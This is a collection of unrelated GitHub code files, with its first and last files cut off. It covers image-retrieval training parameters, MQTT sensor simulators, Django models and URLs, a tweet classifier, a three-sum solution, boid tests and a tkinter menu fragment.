'oxford5k_video_224sq': 'data/oxford5k_224sq_train_ms.txt',\n 'oxford5k_video_384': 'data/oxford5k_384_train_ms.txt',\n}\n\nmatch_image = {\n 'CLICIDE': match_video,\n 'CLICIDE_video_227sq': match_video,\n 'CLICIDE_max_224sq': match_video,\n 'CLICIDE_video_224sq': match_video,\n 'CLICIDE_video_384': match_video,\n 'fourviere_clean2_224sq': match_fou_clean2,\n 'fourviere_clean2_384': match_fou_clean2,\n 'oxford5k_video_224sq': match_oxford,\n 'oxford5k_video_384': match_oxford\n}\n\n\n# in ResNet, before first layer, there are 2 modules with parameters.\n# then number of blocks per layers:\n# ResNet152 - layer 1: 3, layer 2: 8, layer 3: 36, layer 4: 3\n# ResNet50 - layer 1: 3, layer 2: 4, layer 3: 6, layer 4: 3\n# finally, a single FC layer is used as classifier\n# in AlexNet, there are 5 convolutional layers with parameters\n# and 3 FC layers in the classifier\nuntrained_blocks = {\n models.alexnet: 4,\n models.resnet152: 2 + 3 + 8 + 36\n}\n\n\nclass TestParams(object):\n\n def __init__(self):\n\n # UUID for these parameters (current time)\n self.uuid = datetime.now()\n\n # general parameters\n self.dataset_full = 'data/pre_proc/fourviere_clean2_224sq'\n self.cnn_model = models.alexnet\n self.cuda_device = 1\n self.save_dir = 'data'\n self.dataset_name = self.dataset_full.split('/')[-1].split('_')[0]\n self.dataset_id = self.dataset_full.split('/')[-1]\n self.mean_std_file = mean_std_files[self.dataset_id]\n self.dataset_match_img = match_image[self.dataset_id]\n self.image_input_size = image_sizes[self.dataset_id]\n self.num_classes = num_classes[self.dataset_id]\n self.finetuning = True\n self.feature_size2d = feature_sizes[(self.cnn_model, self.image_input_size)]\n self.log_file = path.join(self.save_dir, self.unique_str() + '.log')\n self.test_norm_per_image = False\n # the maximal allowed size in bytes for embeddings on CUDA\n # if the embeddings take more space, move them to CPU\n self.embeddings_cuda_size = 2 ** 30\n\n self.untrained_blocks = untrained_blocks[self.cnn_model]\n\n # read mean and standard of dataset here to define transforms already\n m, s = readMeanStd(self.mean_std_file)\n\n # Classification net general and test params\n self.classif_bn_model = ''\n self.classif_preload_net = ''\n self.classif_feature_reduc = True\n self.classif_test_upfront = False\n self.classif_train = False\n self.classif_test_batch_size = 1\n self.classif_test_pre_proc = True\n self.classif_test_trans = transforms.Compose([transforms.ToTensor()])\n if not self.test_norm_per_image:\n # normalization not done per image during test\n self.classif_test_trans.transforms.append(transforms.Normalize(m, s))\n\n # Classification net training params\n self.classif_train_mode = 'subparts'\n self.classif_train_epochs = 100\n self.classif_train_batch_size = 32\n self.classif_train_micro_batch = 1\n self.classif_train_aug_rot = r = 180\n self.classif_train_aug_hrange = hr = 0\n self.classif_train_aug_vrange = vr = 0\n self.classif_train_aug_hsrange = hsr = 0.5\n self.classif_train_aug_vsrange = vsr = 0.5\n self.classif_train_aug_hflip = hflip = True\n trans = transforms.Compose([random_affine_noisy_cv(rotation=r, h_range=hr, v_range=vr, hs_range=hsr, vs_range=vsr, h_flip=hflip), transforms.ToTensor(), transforms.Normalize(m, s)])\n # self.classif_train_trans = transforms.Compose([transforms.ToTensor(), transforms.Normalize(m, s)])\n # for subparts, transformation for each scale\n self.classif_train_trans = [trans, trans]\n self.classif_train_pre_proc = [False, False]\n self.classif_lr = 5e-3\n self.classif_momentum = 0.9\n self.classif_weight_decay = 5e-4\n self.classif_optim = 'SGD'\n self.classif_annealing = {60: 0.1}\n self.classif_loss_avg = True\n self.classif_loss_int = 10\n self.classif_test_int = 0\n # the batch norm layer cannot be trained if the micro-batch size\n # is too small, as global variances/means cannot be properly\n # approximated in this case. so train only when having a batch\n # of at least 8\n self.classif_train_bn = self.classif_train_micro_batch >= 16 or (self.classif_train_micro_batch <= 0 and (self.classif_train_batch_size >= 16 or self.classif_train_batch_size <= 0))\n\n # list of transforms for all scales in subparts training\n # the self.classif_train_trans parameter should be a list of same\n # length representing the train transformation for each scale\n self.classif_train_sub_scales = [transforms.Compose([]), transforms.Compose([affine_scale_noisy_cv(2.)])]\n\n # settings for feature net constructed from classification net\n self.feature_net_upfront = False\n self.feature_net_use_class_net = True\n self.feature_net_average = False\n self.feature_net_classify = True\n\n # Siamese net general and testing params\n self.siam_model = ''\n self.siam_preload_net = ''\n self.siam_test_upfront = True\n self.siam_use_feature_net = False\n self.siam_train = True\n # TODO should this be the number of instances ?\n self.siam_feature_dim = 2048\n self.siam_conv_average = (1, 1)\n self.siam_cos_margin = 0 # 0: pi/2 angle, 0.5: pi/3, sqrt(3)/2: pi/6\n self.siam_test_batch_size = 16\n self.siam_test_pre_proc = True\n self.siam_test_trans = transforms.Compose([transforms.ToTensor()])\n if not self.test_norm_per_image:\n # normalization not done per image during test\n self.siam_test_trans.transforms.append(transforms.Normalize(m, s))\n\n # Siamese net training params\n # for train mode: 'couples': using cosine loss\n # 'triplets': using triplet loss\n # choice mode: for 'couples':\n # 'rand': using random couples\n # 'hard': using all positives and hardest negative couples\n # for 'triplets':\n # 'rand': using random negatives for all positives\n # 'hard': hard triplets for all positives\n # 'semi-hard': semi-hard triplets for all positives\n # 'easy-hard': easiest positives with hardest negatives\n self.siam_train_mode = 'triplets'\n self.siam_choice_mode = 'semi-hard'\n\n # general train params\n self.siam_train_trans = trans\n self.siam_train_pre_proc = False\n self.siam_train_batch_size = 64\n self.siam_train_micro_batch = 8\n self.siam_lr = 5e-3\n self.siam_momentum = 0.9\n self.siam_weight_decay = 0.0\n self.siam_optim = 'SGD'\n self.siam_annealing = {}\n self.siam_train_epochs = 20\n self.siam_loss_avg = False\n self.siam_loss_int = 10\n self.siam_test_int = 0\n # batch norm layer train mode (see above for details)\n self.siam_train_bn = self.siam_train_micro_batch >= 16 or (self.siam_train_micro_batch <= 0 and (self.siam_train_batch_size >= 16 or self.siam_train_batch_size <= 0))\n\n # Siamese2 params: number of regions to consider\n self.siam2_k = 6\n\n # double objective loss params\n self.siam_double_objective = False\n self.siam_do_loss2_alpha = 1.0\n self.siam_do_loss2_avg = True\n\n # couples params\n self.siam_couples_p = 0.8\n\n # triplets general params\n self.siam_triplet_margin = 0.1\n\n # params for semi-hard mode\n # number of epochs after which we\n # take only the hardest examples:\n self.siam_sh_epoch_switch = 2\n\n # params for easy-hard choice mode\n # n_p: number of easy positives for each image\n # n_n: number of hard negatives for each image\n # n_t: number of hardest triplets actually used for each image\n # req_triplets: maximal number of triplets used per epoch\n # Note that if less than n_p positives or n_n negatives exist,\n # we clamp the value to the number of positives/negatives resp.\n # Thus, we must have n_t <= n_p and n_t <= n_n\n self.siam_eh_n_p = 25\n self.siam_eh_n_n = 100\n self.siam_eh_n_t = 25\n self.siam_eh_req_triplets = self.siam_train_batch_size * 64\n\n def unique_str(self):\n return self.uuid.strftime('%Y%m%d-%H%M%S-%f')\n\n def save(self, f, prefix):\n f.write('{0}\\n'.format(prefix))\n first = ['dataset_full', 'cnn_model', 'siam_model', 'classif_train', 'classif_preload_net', 'feature_net_upfront', 'siam_train', 'siam_preload_net']\n for name in first:\n value = getattr(self, name)\n if name == 'cnn_model':\n value = fun_str(value)\n f.write('{0}:{1}\\n'.format(name, value))\n f.write('\\n')\n f.write(inspect.getsource(sys.modules[__name__]))\n # for name, value in sorted(vars(self).items()):\n # if name == 'uuid' or name in first:\n # continue\n # if name in ('classif_test_trans', 'classif_train_trans', 'siam_test_trans', 'siam_train_trans'):\n # value = trans_str(value)\n # elif name in ('dataset_match_img'):\n # value = fun_str(value)\n # f.write('{0}:{1}\\n'.format(name, value))\n f.close()\n\n def save_uuid(self, prefix):\n f = tempfile.NamedTemporaryFile(dir=self.save_dir, delete=False)\n self.save(f, prefix)\n # the following will not work on Windows (would need to add a remove first)\n rename(f.name, path.join(self.save_dir, self.unique_str() + '.params'))\n\n def log_detail(self, p_file, *args):\n if p_file:\n print(*args, file=p_file)\n if self.log_file:\n with open(self.log_file, 'a') as f:\n print(*args, file=f)\n\n def log(self, *args):\n self.log_detail(sys.stdout, *args)\n\n\n# global test params:\nP = TestParams()\n","repo_name":"zhonghp/Instance-Search","sub_path":"test_params.py","file_name":"test_params.py","file_ext":"py","file_size_in_byte":11815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"36840868580","text":"from random import *\r\nimport paho.mqtt.publish as publish\r\nimport paho.mqtt.subscribe as subscribe\r\nimport paho.mqtt.client as mqtt\r\nimport time\r\n\r\nsample_channel_0 = \"/Sensor/Density/LRU_pair_0/Samples\"\r\nsample_channel_1 = \"/Sensor/Density/LRU_pair_1/Samples\"\r\nsample_channel_2 = \"/Sensor/Density/LRU_pair_2/Samples\"\r\nsample_channel_3 = \"/Sensor/Density/LRU_pair_3/Samples\"\r\nsample_channel_4 = \"/Sensor/Density/LRU_pair_4/Samples\"\r\nsample_channel_5 = \"/Sensor/Density/LRU_pair_5/Samples\"\r\nsample_channel_6 = \"/Sensor/Density/LRU_pair_6/Samples\"\r\nsample_channel_7 = \"/Sensor/Density/LRU_pair_7/Samples\"\r\nsample_channel_8 = \"/Sensor/Density/LRU_pair_8/Samples\"\r\nsample_channel_9 = \"/Sensor/Density/LRU_pair_9/Samples\"\r\nsample_channel_10 = \"/Sensor/Density/LRU_pair_10/Samples\"\r\n\r\ntrigger_channel_0 = \"/Sensor/Density/LRU_pair_0/Trigger\"\r\ntrigger_channel_1 = \"/Sensor/Density/LRU_pair_1/Trigger\"\r\ntrigger_channel_2 = \"/Sensor/Density/LRU_pair_2/Trigger\"\r\ntrigger_channel_3 = \"/Sensor/Density/LRU_pair_3/Trigger\"\r\ntrigger_channel_4 = \"/Sensor/Density/LRU_pair_4/Trigger\"\r\ntrigger_channel_5 = \"/Sensor/Density/LRU_pair_5/Trigger\"\r\ntrigger_channel_6 = \"/Sensor/Density/LRU_pair_6/Trigger\"\r\ntrigger_channel_7 = \"/Sensor/Density/LRU_pair_7/Trigger\"\r\ntrigger_channel_8 = \"/Sensor/Density/LRU_pair_8/Trigger\"\r\ntrigger_channel_9 = \"/Sensor/Density/LRU_pair_9/Trigger\"\r\ntrigger_channel_10 = \"/Sensor/Density/LRU_pair_10/Trigger\"\r\ntrigger_channel_11 = \"/Sensor/Density/LRU_pair_11/Trigger\"\r\n\r\n\r\ndef get_data( sample_channel ):\r\n\tdata = bytearray()\r\n\tfor num_sample in range( 0, 64 ):\r\n\t\tnum = randint( 1, 100 )\r\n\t\tdata.append( num )\r\n\r\n\tpub( sample_channel, data )\r\n\tprint( sample_channel + \" done!\\n\" )\r\n\r\ndef on_connect( client, userdata, flags, rc ):\r\n\tprint(\"Connected with result code \" + str( rc ) )\r\n\tif rc != 0:\r\n\t\tmqttc.reconnect()\r\n\r\ndef on_disconnect( client, userdatam, rc ):\r\n\tif rc != 0:\r\n\t\tprint( \" Unexpected disconnection.\" )\r\n\t\tmqttc.loop_end()\r\n\r\ndef on_subscribe( client, userdata, mid, granted_qos ):\r\n\tprint( \" In on_subscribe callback \" )\r\n\r\ndef on_unsubscribe( client, userdata, mid ):\r\n\tprint( \" In on_unsubscribe callback \" )\r\n\r\ndef on_publish( client, userdata, mid ):\r\n\tprint( \" In on_publish callback \" )\r\n\r\ndef on_message( client, userdata, message ):\r\n\r\n\t#print(\"Received message '\" + str( message.payload ) + \"' on topic '\"\r\n # + message.topic + \"' with QoS \" + str( message.qos ) )\r\n\t\r\n\ttrigger_callback = str( message.payload )\r\n\tchannel_callback = str( message.topic )\r\n\r\n\tif ( \"start\" in trigger_callback and channel_callback == trigger_channel_0 ):\r\n\t\tget_data( sample_channel_0 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_1 ):\r\n\t\tget_data( sample_channel_1 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_2 ):\r\n\t\tget_data( sample_channel_2 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_3 ):\r\n\t\tget_data( sample_channel_3 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_4 ):\r\n\t\tget_data( sample_channel_4 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_5 ):\r\n\t\tget_data( sample_channel_5 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_6 ):\r\n\t\tget_data( sample_channel_6 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_7 ):\r\n\t\tget_data( sample_channel_7 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_8 ):\r\n\t\tget_data( sample_channel_8 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_9 ):\r\n\t\tget_data( sample_channel_9 )\r\n\telif ( \"start\" in trigger_callback and channel_callback == trigger_channel_10 ):\r\n\t\tget_data( sample_channel_10 )\r\n\telse:\r\n\t\tpass\r\n\r\ndef on_log( client, userdata, level, buf ):\r\n\tprint( \" In on_log callback \" )\r\n\r\ndef pub( topic, msg ):\r\n\tmqttc.publish( topic, msg )\r\n\r\ndef sub( topic ):\r\n\treturn mqttc.subscribe( topic, 0 )\r\n\r\ndef channel_init():\t\r\n\tfor channel in range( 0, 11 ):\r\n\t\tsample_channel = \"/Sensor/Density/LRU_pair_\" + str( channel ) + \"/Samples\"\r\n\t\ttrigger_channel = \"/Sensor/Density/LRU_pair_\" + str( channel ) + \"/Trigger\"\r\n\r\n\t\tprint( \"Check \"+ trigger_channel )\r\n\t\tprint( \"Check \"+ sample_channel )\r\n\t\tsub ( trigger_channel )\r\n\r\nmqttc = mqtt.Client()\r\nmqttc.on_connect = on_connect\r\nmqttc.on_message = on_message\r\nmqttc.on_disconnect = on_disconnect\r\n#mqttc.on_subscribe = on_subscribe\r\n#mqttc.on_publish = on_publish\r\nmqttc.connect( \"192.168.0.4\" )\r\nmqttc.loop_start()\r\n\r\ndef main ():\r\n\r\n\tchannel_init()\r\n\r\n\twhile ( 1 ):\r\n\t\tpass\r\n\r\nmain()","repo_name":"gz0329/Demo","sub_path":"script_work/MQTT/ellbayind-mcfly-controller/simulator/windows_to_controller/paho_mqtt_test.py","file_name":"paho_mqtt_test.py","file_ext":"py","file_size_in_byte":4596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71976379254","text":"#encoding: utf-8\nfrom libs.models import Base, models\n\nclass HistoryTask(Base):\n \"\"\"\n 任务历史\n \"\"\"\n name = models.CharField(max_length = 200)\n user = models.CharField(max_length = 40)\n status = models.PositiveSmallIntegerField(default = 0) #0等待执行 1成功 2失败 10正在执行\n type = models.PositiveSmallIntegerField(default = 0) #1页面启动\n start_time = models.DateTimeField(auto_now_add = True)\n end_time = models.DateTimeField(null = True)\n total_time = models.PositiveIntegerField(default = 0)\n project_id = models.PositiveIntegerField()\n\n class Meta:\n db_table = \"history_task\"\n\nclass HistoryStep(Base):\n \"\"\"\n 步骤历史\n \"\"\"\n name = models.CharField(max_length = 200)\n index = models.PositiveIntegerField()\n type = models.PositiveSmallIntegerField()\n task = models.ForeignKey(HistoryTask)\n\n class Meta:\n db_table = \"history_step\"\n ordering = [\"index\"]\n\nclass HistoryScriptNode(Base):\n \"\"\"\n 节点历史\n \"\"\"\n order = models.CharField(max_length = 40)\n name = models.CharField(max_length = 200)\n content = models.BinaryField()\n type = models.PositiveSmallIntegerField()\n args = models.CharField(max_length = 200, default = \"\")\n user = models.CharField(max_length = 40)\n index = models.PositiveIntegerField()\n status = models.PositiveSmallIntegerField(default = 0) #0等待执行 1成功 2失败 3忽略错误 10正在执行\n start_time = models.DateTimeField(null = True)\n end_time = models.DateTimeField(null = True)\n total_time = models.PositiveIntegerField(default = 0)\n step = models.ForeignKey(HistoryStep)\n\n class Meta:\n db_table = \"history_script_node\"\n ordering = [\"index\"]\n\nclass HistoryScriptServer(Base):\n \"\"\"\n 服务器历史\n \"\"\"\n host = models.CharField(max_length = 40)\n log = models.BinaryField()\n code = models.IntegerField(null = True)\n total_time = models.PositiveIntegerField(default = 0)\n node = models.ForeignKey(HistoryScriptNode)\n\n class Meta:\n db_table = \"history_script_server\"\n","repo_name":"honglongwei/pj-job","sub_path":"job_server/apps/history/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"36477799196","text":"import urllib.request as r\r\nimport re\r\nimport os\r\n\r\ndef open_url(url):\r\n req = r.Request(url) \r\n req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36\\\r\n (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36')\r\n response = r.urlopen(req)\r\n html = response.read().decode('utf-8')\r\n return html\r\n\r\ndef get_imgs(url):\r\n p = r' 1:\r\n tokenized_tweet = seperate_emoji(tokenized_tweet, tokenized_tweet.index(word))\r\n tok_tweets.append(tokenized_tweet)\r\n return tok_tweets\r\n \r\n\r\n#### Training the classifier\r\ntok_tweets = preprocess_corpus('train.tsv')\r\n\r\n## Creating counts of a given word in a specific class\r\nn_k_counts = defaultdict(int)\r\nfor tweet in tok_tweets:\r\n if tweet[0] == 'NOT':\r\n index = 0\r\n else:\r\n index = 1\r\n for word in tweet[1:]:\r\n n_k_counts[(index, word)] += 1\r\n\r\n## Creating vocabulary\r\nvocab = Counter()\r\nfor tweet in tok_tweets:\r\n vocab.update(tweet[1:])\r\n\r\n## Limiting vocabulary to words used 2 or more times; otherwise the accuracy drops by about 5%\r\ncommon_vocab = list(filter(lambda x: vocab[x] >= 2, list(vocab)))\r\n\r\ndef d(corpus_name):\r\n \"Gets the total number of docs (tweets) in a given corpus\"\r\n doc_count = 0\r\n with open(PATH_TO_CORPUS + corpus_name, mode='r', encoding='utf-8') as f:\r\n while True:\r\n tweet = f.readline()\r\n if tweet == '':\r\n break\r\n doc_count += 1\r\n return doc_count\r\n\r\ndoc_count = d('train.tsv')\r\n\r\n## Based on the assumption of uniform priors, the number of documents in each class must be the same\r\nd_k = doc_count / 2\r\nnb = NB_Classifier(doc_count, d_k, n_k_counts, common_vocab)\r\n\r\ntotal_correct = 0\r\n\r\nfalse_pos = 0\r\nfalse_neg = 0\r\n#### Testing on the dev set\r\ndev_set = preprocess_corpus('dev.tsv')\r\nfor tweet in dev_set:\r\n prediction = nb.predict_class(tweet[1:])\r\n if prediction == 0 and tweet[0] == 'NOT':\r\n total_correct += 1\r\n elif prediction == 1 and tweet[0] == 'OFF':\r\n total_correct += 1\r\n else:\r\n if prediction == 0:\r\n false_neg += 1\r\n if prediction == 1:\r\n false_pos += 1\r\n\r\nprint('False positives: ', false_pos, '\\tFalse negatives: ', false_neg)\r\n\r\n\r\n","repo_name":"eoin-or/tweet-classifier","sub_path":"naive_bayes_classifier.py","file_name":"naive_bayes_classifier.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34251652030","text":"#Membuat program menggunakan for loop, list dan range\n\nbanyak = int (input(\"Berapa banyak data ?\"))\n\nnama = []\numur = []\nalamat = []\nasal_sekolah = []\nbagian = []\n\nfor i in range (0, banyak) :\n print (f\"Data ke {i}\" )\n input_nama = input(\"nama :\")\n input_umur = int(input(\"umur :\"))\n input_alamat = input(\"alamat :\")\n input_asal_sekolah = input(\"Asal Sekolah :\")\n input_bagian = input(\"Bagian :\")\n\n nama.append(input_nama)\n umur.append(input_umur)\n alamat.append(input_alamat)\n asal_sekolah.append(input_asal_sekolah)\n bagian.append(input_bagian)\n\nprint(nama)\nprint(umur)\nprint(alamat)\nprint(asal_sekolah)\nprint(bagian)","repo_name":"fajarzulmi96/Belajar-Phyton","sub_path":"Belajar-Python/program_for_loop.py","file_name":"program_for_loop.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17836693770","text":"\"\"\"\nThe goal is to make a list of species, that have a max abundance across sample larger than 1%\n\"\"\"\nimport argparse\nimport pandas as pd\nimport os\n\ndef parse_args():\n # Parse command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--list', help = 'list of file names', default='', required = True)\n parser.add_argument('-o1', '--out1', help = 'list of abundant species', default = '', required = True)\n parser.add_argument('-o2', '--out2', help = 'list of species total reads', default = '', required = True)\n args = parser.parse_args()\n return args\n\ndef samplelist(list):\n samplelist=[]\n with open(list) as f:\n line = f.readlines()\n for sample in line:\n samplelist.append(sample[:-1])\n return samplelist\n\n\ndef creatematrix(samplelist,out1,out2):\n outfile1 = open(out1,'w')\n outfile2 = open(out2,'w')\n splist = []\n for sample in samplelist:\n with open(sample) as f:\n content = f.readlines()\n for line in content:\n Line = line.split('\\t')\n if Line[0] == 'k__Bacteria':\n outfile2.write(sample+'\\t'+Line[4]+'\\n')\n if len(Line[0].split('|')) == 7:\n if float(Line[1])>1 and (not Line[0].split('|')[6] in splist):\n sp = Line[0].split('|')[6]\n splist.append(sp)\n outfile1.write(sp+'\\n')\n os.system('nohup python ~/dev/metaphlan2/metaphlan2/metaphlan2.py -t clade_specific_strain_tracker --min_ab 0.0 --clade '+ sp + ' ../HMPdata/'+sample[:-4]+ ' --input_type bowtie2out > ../HMPsp/' + sp + ' --mpa_pkl ~/dev/metaphlan2/metaphlan2/db_v20/mpa_v20_m200.pkl &')\n return splist\n\n\nargs = parse_args()\nsamplelist = samplelist(list = args.list)\nsplist = creatematrix(samplelist=samplelist,out1=args.out1,out2=args.out2)\n","repo_name":"shijiezhao/Coding-Library-for-bioinformatics","sub_path":"MakeAbunList.py","file_name":"MakeAbunList.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2629755159","text":"from django.urls import path,re_path\r\nfrom monitor.views import MonitorView,MonitorListView\r\n\r\napp_name = 'monitor'\r\nurlpatterns = [\r\n #path('monitor/',MonitorView.as_view(),name=\"monitor\"),\r\n path('monitorlist/',MonitorListView.as_view(),name=\"monitorlist\"),\r\n #re_path(r'group_users(?P.*)/$',GroupUsersView.as_view(),name=\"group_users\"),\r\n re_path(r'monitor(?P.*)/$',MonitorView.as_view(),name=\"monitor\"),\r\n]","repo_name":"LettyCai/OpsAuto","sub_path":"monitor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72862293174","text":"# Given a 0-indexed n x n integer matrix grid, return the number of pairs (ri, cj) such that row ri and column cj are equal.\n\n# A row and column pair is considered equal if they contain the same elements in the same order (i.e., an equal array).\n\n# Input: grid = [[3,2,1],[1,7,6],[2,7,7]]\n# Output: 1\n# Explanation: There is 1 equal row and column pair:\n# - (Row 2, Column 1): [2,7,7]\n\nclass Solution:\n def equalPairs(self, grid: List[List[int]]) -> int:\n n = len(grid)\n rows = defaultdict(int) \n res = 0\n\n for idx,arr in enumerate(grid):\n rows[tuple(arr)] += 1\n\n for i in range(n):\n col = []\n for j in range(n):\n col.append(grid[j][i])\n res += rows[tuple(col)]\n return res\n\n# Time complexity is O(N^2)\n# Space complexity is O(N^2)","repo_name":"conor47/Algorithm-Patterns","sub_path":"General Problems/HashTable/equalRowAndColumnPairs.py","file_name":"equalRowAndColumnPairs.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22981996650","text":"\"\"\"Test the Boids class\"\"\"\nimport pygame as pg\nimport pytest\nfrom boids.boids import Boid\n\n\n@pytest.mark.skip(reason=\"Manual test fails; but VSCode test passes... WTF?\")\ndef test_default_boid():\n \"\"\"Test the default boid\"\"\"\n boid = Boid()\n assert boid.pos == pg.Vector2(0, 0)\n assert boid.vel == pg.Vector2(0, 0)\n assert boid.color == (255, 255, 255)\n assert boid.size == 10\n\n\ndef test_valid_boid_with_vector_init(boid_with_vector_init):\n \"\"\"Initialize a boid with vector arguments\"\"\"\n boid = boid_with_vector_init\n assert boid.pos == pg.Vector2(1, 2)\n assert boid.vel == pg.Vector2(3, 4)\n assert boid.color == pg.Color(0, 0, 0)\n assert boid.size == 1\n\n\ndef test_valid_boid_with_tuple_init():\n \"\"\"Initialize a Boid with tuple arguments\"\"\"\n boid = Boid(\n pos=(1, 2),\n vel=(3, 4),\n color=(0, 0, 0),\n size=1,\n )\n assert type(boid.pos) is pg.Vector2\n assert type(boid.vel) is pg.Vector2\n assert type(boid.color) is pg.Color\n assert boid.pos == pg.Vector2(1, 2)\n assert boid.vel == pg.Vector2(3, 4)\n assert boid.color == pg.Color(0, 0, 0)\n assert boid.size == 1\n\n\n@pytest.mark.parametrize(\n \"color\",\n (\n (0, 0), # Too few elements\n (-1, 0, 0), # Negative element\n (0, 0, 256), # Element too large\n (0, 0, 0, 0, 0), # Too many elements\n ),\n)\ndef test_boid_with_invalid_color(color):\n \"\"\"Test that a Boid with an invalid color raises an error\"\"\"\n with pytest.raises(ValueError):\n Boid(\n pos=(1, 2),\n vel=(3, 4),\n color=color,\n size=1,\n )\n\n\ndef test_boid_with_invalid_size():\n \"\"\"Test that a Boid with an invalid size raises an error\"\"\"\n with pytest.raises(ValueError):\n Boid(\n pos=(1, 2),\n vel=(3, 4),\n color=(0, 0, 0),\n size=-1,\n )\n\n\ndef test_boid_update(boid_with_vector_init):\n \"\"\"Test the move method\"\"\"\n boid_with_vector_init.update()\n assert boid_with_vector_init.pos == pg.Vector2(4, 6)\n assert boid_with_vector_init.vel == pg.Vector2(3, 4)\n\n\n@pytest.mark.parametrize(\n \"boid,expected\",\n [\n (Boid(vel=(0, 10)), pg.Vector2(0, 5)),\n (Boid(vel=(10, 0)), pg.Vector2(5, 0)),\n (Boid(vel=(0, -10)), pg.Vector2(0, -5)),\n (Boid(vel=(6, 8)), pg.Vector2(3, 4)),\n (Boid(vel=(-6, 8)), pg.Vector2(-3, 4)),\n (Boid(vel=(6, -8)), pg.Vector2(3, -4)),\n (Boid(vel=(-6, -8)), pg.Vector2(-3, -4)),\n ],\n)\ndef test_boid_speed_limit(boid, expected):\n \"\"\"Test the speed_limit method\"\"\"\n boid.speed_limit(max_speed=5)\n assert boid.vel == expected\n","repo_name":"Teffluvium/my_boids","sub_path":"tests/test_boids.py","file_name":"test_boids.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3755280742","text":"class Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n results = []\n nums.sort()\n\n for i in range(len(nums) - 2):\n left, right = i + 1, len(nums)-1\n while left < right:\n sum = nums[i] + nums[left] + nums[right]\n if sum < 0:\n left += 1\n elif sum > 0:\n right -= 1\n else:\n results.append([nums[i], nums[left], nums[right]])\n while left < right and nums[left] == nums[left+1]:\n left += 1\n while left < right and nums[right] == nums[right-1]:\n right -= 1\n left += 1\n right -= 1\n return result","repo_name":"KB-team3/AlgoGGang","sub_path":"이우엽/Week_16/3SUM.py","file_name":"3SUM.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"74676362291","text":"import paho.mqtt.client as mqtt\nimport json\nimport time\nimport perfstat\nimport platformstat\n\nbroker_address=\"192.168.1.2\"\nport=1883\ntoken=\"WZSx45Po9jaPkpNcwS3h\"\nclient = mqtt.Client()\nclient.username_pw_set(token)\nclient.connect(broker_address, port)\ns_time = 0.1\n\nwhile True:\n som_power = platformstat.get_SOM_power()\n FPD_temp = platformstat.get_FPD_temp()\n PL_temp = platformstat.get_PL_temp()\n branch1_fps = perfstat.get_branch1_pf()\n branch2_fps = perfstat.get_branch2_pf()\n\n payload = {\"power\": som_power, \"fpd_temp\": FPD_temp, \"pl_temp\": PL_temp, \"branch1_fps\": branch1_fps, \"branch2_fps\": branch2_fps}\n print(json.dumps(payload))\n client.publish(\"v1/devices/me/telemetry\", json.dumps(payload))\n time.sleep(0.1)\n\n","repo_name":"teutoniclongboat/Visual-Perception","sub_path":"tb_program/mqtt_data/mqtt_transfer.py","file_name":"mqtt_transfer.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24049808292","text":"import boto3\n\ndynamodb = boto3.resource('dynamodb')\n\n\ndef lambda_handler(event, context):\n rate = getConfig()\n\n return {\n 'ethRate': rate\n }\n\n\ndef getConfig():\n configTable = dynamodb.Table('Config')\n configKey = \"HomePage\"\n\n response = configTable.get_item(Key={'configKey': configKey})\n config = response['Item']\n\n rate = str(config['ethRate'])\n\n return rate\n\n","repo_name":"mobile1st/sudocoins-svc","sub_path":"src/art/getEthRate.py","file_name":"getEthRate.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16521496191","text":"import tkinter\r\n\r\n#创建主窗口\r\nwin = tkinter.Tk()\r\n#设置标题\r\nwin.title(\"QQ\")\r\n#设置大小和位置\r\nwin.geometry(\"494x470+200+0\")\r\n\r\ndef func():\r\n print(\"***********\")\r\n\r\n#进入消息循环\r\n#菜单条\r\nmenubar = tkinter.Menu(win)\r\nwin.config(menu=menubar)\r\n#创建菜单选项 tearoff:TRUE多一条虚线\r\nmenu1=tkinter.Menu(menubar,tearoff=False)\r\n#给菜单选项添加内容\r\nfor item in [\"python\",\"java\",\"C#\",\"C/C++\",\"JS\",\"PHP\",\"汇编\",\"shell\",\"退出\"]:\r\n if item==\"退出\":\r\n #添加分割线\r\n menu1.add_separator()\r\n 